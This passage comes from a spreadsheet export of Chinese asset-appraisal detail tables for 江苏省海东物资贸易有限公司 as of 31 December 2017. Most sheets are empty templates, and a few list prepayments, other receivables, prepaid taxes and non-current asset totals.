[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[]
["合          计",{"$nulls":6},0,0,0,0]
["被评估单位填表人：",{"$nulls":8},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-3应收票据","index":17,"n_rows":30,"n_cols":10,"rows_kept":30,"hidden":true,"merged":[[0,0,0,9],[1,0,1,9],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["应收票据评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表3-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","户名（结算对象)","出票日期","到期日期","票面利率%","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":8},0]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
["合            计",{"$nulls":4},0,0,0,0]
["减：应收票据坏账准备",{"$nulls":7},""]
["合      计",{"$nulls":4},0,0,0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-4应收账款","index":18,"n_rows":28,"n_cols":10,"rows_kept":28,"hidden":true,"merged":[[0,0,0,9],[1,0,1,9]],"flags":["formulas_cached_only"]}
["应收账款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表3-4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","欠款单位名称（结算对象)","业务内容","发生日期","账龄","账面价值","评估价值","增减值","增值率%","备注"]
[1,{"$nulls":7},0]
[]
[]
[{"$nulls":8},""]
[{"$nulls":8},""]
{"$rows_empty":9}
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
["合            计",{"$nulls":4},0,0,0,0]
["减：应收账款坏账准备",{"$nulls":7},""]
["合      计",{"$nulls":4},0,0,0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-5预付账款","index":19,"n_rows":32,"n_cols":12,"rows_kept":32,"hidden":true,"merged":[[0,0,0,9],[1,0,1,9],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["预付账款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表3-5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","收款单位名称（结算对象)","业务内容","发生日期","账龄","账面价值","评估价值","增减值","增值率%","备注"]
[1,"江苏鼎盛重工有限公司",{"$nulls":6},"","预付技改项目",null,{"v":6204000,"d":"6,204,000.00"}]
[2,"江西瑞南建设有限公司",{"$nulls":6},"",null,null,{"v":501060.5,"d":"501,060.50"}]
[3,"长江勘测规划设计研究有限责任公司",{"$nulls":6},"","预付高架桥项目",null,{"v":500000,"d":"500,000.00"}]
[4,"中交二航局第三工程有限公司",{"$nulls":6},""]
[5,"深圳市航通智能技术有限公司"]
[6,"赣州佳盛锅炉有限公司"]
[7,"中国平安财产保险股份有限公司镇江中心支公"]
[8,"国网江西瑞昌供电有限责任公司"]
[9,"九江联智众合通信技术工程有限公司"]
[10,"瑞昌市财政局"]
[11,"北京达飞安评管理顾问有限公司"]
[12,"中国石化销售有限公司江西瑞昌石油分公司"]
[13,"江西鼎泓环保科技有限公司"]
[14,"赣北地质工程勘察院"]
[15,"九江市迅达电梯服务有限公司"]
[16,"瑞昌市茂林贸易有限公司"]
[17,"安城财产保险股份有限公司镇江中心支公司"]
[18,"上海三菱电梯有限公司"]
[19,"九江地质工程勘察院"]
[20,"中国移动通信集团江西有限公公司九江分公司"]
[21,"王贤槐"]
[]
["合            计",{"$nulls":4},0,0,0,0]
["减：预付账款坏账准备",{"$nulls":7},""]
["合      计",{"$nulls":4},0,0,0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-6应收利息","index":20,"n_rows":29,"n_cols":11,"rows_kept":29,"hidden":true,"merged":[[0,0,0,10],[1,0,1,10],[26,0,26,1]],"flags":["formulas_cached_only"]}
["应收利息评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表3-6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","欠款单位名称（结算对象)","发生日期","本金","利息所属期间","利息率%","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[]
["合            计",{"$nulls":5},0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-7应收股利","index":21,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[0,0,0,8],[1,0,1,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["应收股利（应收利润）评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":8},"表3-7"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","股利（利润）所属期间","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[]
["合            计",{"$nulls":3},0,0,0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-8其他应收款","index":22,"n_rows":11,"n_cols":10,"rows_kept":11,"merged":[[0,0,0,9],[1,0,1,9],[6,0,6,1],[7,0,7,1],[8,0,8,1]],"flags":["formulas_cached_only"]}
["其他应收款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表3-8"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","欠款单位（人）名称（结算对象)","业务内容","发生日期","账龄","账面价值","评估价值","增减值","增值率%","备注"]
[1,"江苏省沿海开发集团有限公司",{"$nulls":3},{"v":31490373.08,"d":"31,490,373.08"},{"v":31490373.08,"d":"31,490,373.08"},0,0]
["合            计",{"$nulls":4},{"v":31490373.08,"d":"31,490,373.08"},{"v":31490373.08,"d":"31,490,373.08"},0,0]
["减：其他应收款坏账准备",{"$nulls":4},{"v":14000,"d":"14,000.00"},{"v":14000,"d":"14,000.00"}]
["合     计",{"$nulls":4},{"v":31476373.08,"d":"31,476,373.08"},{"v":31476373.08,"d":"31,476,373.08"},0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9存货汇总","index":23,"n_rows":26,"n_cols":6,"rows_kept":26,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[22,0,22,1],[23,0,23,1],[24,0,24,1]],"flags":["formulas_cached_only"]}
["存货评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表3-9"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["3-9-1","材料采购（在途物资）",0,0,0,0]
["3-9-2","原材料",0,0,0,0]
["3-9-3","在库周转材料",0,0,0,0]
["3-9-4","委托加工物资",0,0,0,0]
["3-9-5","产成品（库存商品）",0,0,0,0]
["3-9-6","在产品（自制半成品）",0,0,0,0]
["3-9-7","发出商品",0,0,0,0]
["3-9-8","在用周转材料",0,0,0,0]
{"$rows_empty":9}
["合      计",null,0,0,0,0]
["减：存货跌价准备"]
["合      计",null,0,0,0,0]
[{"$nulls":4},"评估人员：孙倩华、凌伟"]

{"sheet":"3-9-1材料采购（在途物资）","index":24,"n_rows":29,"n_cols":12,"rows_kept":29,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,4,5],[4,6,4,8],[4,9,5,9],[4,10,5,10],[4,11,5,11],[26,0,26,1]],"flags":["formulas_cached_only"]}
["存货—材料采购（在途物资）评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":11},"表3-9-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","名称及规格型号","计量单位","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":3},"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[]
["合            计",{"$nulls":4},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-2原材料","index":25,"n_rows":30,"n_cols":14,"rows_kept":30,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,4,7],[4,8,4,10],[4,11,5,11],[4,12,5,12],[4,13,5,13],[27,0,27,2]],"flags":["formulas_cached_only"]}
["存货—原材料评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":13},"表3-9-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","名称","规格型号","计量单位","存放地点","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":5},"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
[]
[]
[]
[]
[]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
["合   计",{"$nulls":6},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":9},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-3在库周转材料","index":26,"n_rows":30,"n_cols":14,"rows_kept":30,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,4,7],[4,8,4,10],[4,11,5,11],[4,12,5,12],[4,13,5,13],[27,0,27,2]],"flags":["formulas_cached_only"]}
["存货—在库周转材料评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":13}," 表3-9-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","名称","规格型号","计量单位","存放地点","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":5},"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
[]
[]
[]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
["合计",{"$nulls":6},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":10},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-4委托加工物资","index":27,"n_rows":30,"n_cols":14,"rows_kept":30,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[2,12,2,13],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,4,7],[4,8,4,10],[4,11,5,11],[4,12,5,12],[4,13,5,13],[27,0,27,2]],"flags":["formulas_cached_only"]}
["存货—委托加工物资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":12},"表3-9-4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","名称","规格型号","加工单位名称","计量单位","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":5},"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
["合       计",{"$nulls":6},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":9},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-5产成品（库存商品）","index":28,"n_rows":31,"n_cols":16,"rows_kept":31,"hidden":true,"merged":[[0,0,0,15],[1,0,1,15],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,4,7],[4,8,4,12],[4,13,5,13],[4,14,5,14],[4,15,5,15],[28,0,28,2]],"flags":["formulas_cached_only"]}
["存货—产成品（库存商品、开发产品、农产品）评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":15},"表3-9-5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","名  称","规格型号","计量单位","账面价值",{"$nulls":3},"评估价值",{"$nulls":4},"增减值","增值率%","备注"]
[{"$nulls":4},"数量","外币单价","人民币单价","金额","实际数量","外币单价","人民币单价","汇率","金额"]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[]
[]
[]
[]
[]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[]
[]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[]
["合   计",{"$nulls":6},0,{"$nulls":4},0,0,0]
["被评估单位填表人：",{"$nulls":10},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-6在产品（自制半成品 ）","index":29,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[0,0,0,12],[1,0,1,12],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,4,6],[4,7,4,9],[4,10,5,10],[4,11,5,11],[4,12,5,12],[27,0,27,2]],"flags":["formulas_cached_only"]}
["存货—在产品（自制半成品）评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":12},"表3-9-6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","名  称","规格型号","计量单位","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":4},"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[{"$nulls":5},"",{"$nulls":5},""]
[]
["合            计",{"$nulls":5},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":9},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-7发出商品","index":30,"n_rows":30,"n_cols":14,"rows_kept":30,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,4,7],[4,8,4,10],[4,11,5,11],[4,12,5,12],[4,13,5,13],[27,0,27,2]],"flags":["formulas_cached_only"]}
["存货—发出商品评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":13},"表3-9-7"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","商品名称","规格型号","对方单位名称","计量单位","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":5},"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
["合      计",{"$nulls":6},0,null,null,0,0,0]
["被评估单位填表人：",{"$nulls":10},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-9-8在用周转材料","index":31,"n_rows":30,"n_cols":14,"rows_kept":30,"hidden":true,"merged":[[0,0,0,13],[1,0,1,13],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,4,6],[4,7,5,7],[4,8,4,10],[4,11,5,11],[4,12,5,12],[4,13,5,13],[27,0,27,2]],"flags":["formulas_cached_only"]}
["存货—在用周转材料评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":13},"表3-9-8"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","名  称","规格型号","启用日期","原始入账价值","账面价值（摊余价值）",null,"实际数量","评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":5},"数量","金额",null,"评估原价","成新率%","金额"]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
[{"$nulls":12},""]
[{"$nulls":12},""]
[{"$nulls":12},""]
[]
["合            计",{"$nulls":5},0,{"$nulls":3},0,0,0]
["被评估单位填表人：",{"$nulls":10},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-10一年到期非流动资产","index":32,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[0,0,0,8],[1,0,1,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["一年内到期的非流动资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":8},"表3-10"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","项目及内容","发生日期","结算内容","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[]
["合    计",{"$nulls":3},0,0,0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-11其他流动资产","index":33,"n_rows":9,"n_cols":10,"rows_kept":9,"merged":[[0,0,0,9],[1,0,1,9],[6,0,6,1]],"flags":["formulas_cached_only"]}
["其他流动资产评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表3-11"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","项目及内容","发生日期","结算内容","成本","账面价值","评估价值","增减值","增值率%","备注"]
[1,"预交税费",{"$nulls":3},{"v":560496.75,"d":"560,496.75"},{"v":560496.75,"d":"560,496.75"},0,0]
["合     计",{"$nulls":4},{"v":560496.75,"d":"560,496.75"},{"v":560496.75,"d":"560,496.75"},0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-非流动资产汇总","index":34,"n_rows":24,"n_cols":6,"rows_kept":24,"merged":[[0,0,0,5],[1,0,1,5],[22,0,22,1]],"flags":["formulas_cached_only"]}
["非流动资产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["4-1","可供出售金融资产",0,0,0,0]
["4-2","持有至到期投资",0,0,0,0]
["4-3","长期应收款",0,0,0,0]
["4-4","长期股权投资",0,0,0,0]
["4-5","投资性房地产",0,0,0,0]
["4-6","固定资产",{"v":19915.88,"d":"19,915.88"},{"v":23760,"d":"23,760.00"},{"v":3844.12,"d":"3,844.12"},{"v":19.3,"d":"19.30"}]
["4-7","在建工程",null,null,0,0]
["4-8","工程物资",null,null,0,0]
["4-9","固定资产清理",null,null,0,0]
["4-10","生产性生物资产",null,null,0,0]
["4-11","油气资产",null,null,0,0]
["4-12","无形资产",{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
["4-13","开发支出",0,0,0,0]
["4-14","商誉",0,0,0,0]
["4-15","长期待摊费用",0,0,0,0]
["4-16","递延所得税资产",0,0,0,0]
["4-17","其他非流动资产",0,0,0,0]
["合            计",null,{"v":143614315.88,"d":"143,614,315.88"},{"v":143618160,"d":"143,618,160.00"},{"v":3844.12,"d":"3,844.12"},0]
[{"$nulls":3},"评估人员：孙倩华、凌伟"]

{"sheet":"4-1可供出售金融资产汇总","index":35,"n_rows":26,"n_cols":6,"rows_kept":26,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[2,4,2,5],[24,0,24,1]],"flags":["formulas_cached_only"]}
["可供出售金融资产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":4},"表4-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["4-1-1","可供出售金融资产-股票投资",0,0,0,0]
["4-1-2","可供出售金融资产-债券投资",0,0,0,0]
["4-1-3","可供出售金融资产-其他投资",0,0,0,0]
{"$rows_empty":16}
["合            计",null,0,0,0,0]
[{"$nulls":3},"评估人员：孙倩华、凌伟"]

{"sheet":"4-1-1可出售-股票","index":36,"n_rows":29,"n_cols":12,"rows_kept":29,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[24,0,24,1],[25,0,25,1],[26,0,26,1]],"flags":["formulas_cached_only"]}
["可供出售金融资产—股票投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":11},"表4-1-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","被投资单位名称","股票性质","投资日期","持股数量","基准日市价","取得成本","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合    计",{"$nulls":4},"",null,0,0,0]
["减：减值准备",{"$nulls":4},""]
["合    计",{"$nulls":4},"",null,0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-1-2可出售-债券","index":37,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["可供出售金融资产—债券投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":11}," 表4-1-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","被投资单位名称","债券种类","发行日期","到期日","票面利率%","成本（面值）","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合    计",{"$nulls":4},"",null,0,0,0]
["减：减值准备",{"$nulls":4},""]
["合    计",{"$nulls":4},"",null,0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-1-3可出售-其他","index":38,"n_rows":29,"n_cols":12,"rows_kept":29,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[24,0,24,1],[25,0,25,1],[26,0,26,1]],"flags":["formulas_cached_only"]}
["可供出售金融资产—其他投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":11},"表4-1-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","被投资单位名称","金融资产名称","投资日期","持有数量","基准日市价","成本","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},0,""]
[{"$nulls":9},0,""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合    计",{"$nulls":4},"",null,0,0,0]
["减：减值准备",{"$nulls":4},""]
["合    计",{"$nulls":4},"",null,0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-2持有到期投资","index":39,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[2,10,2,11],[3,9,3,11],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["持有至到期投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表4-2"]
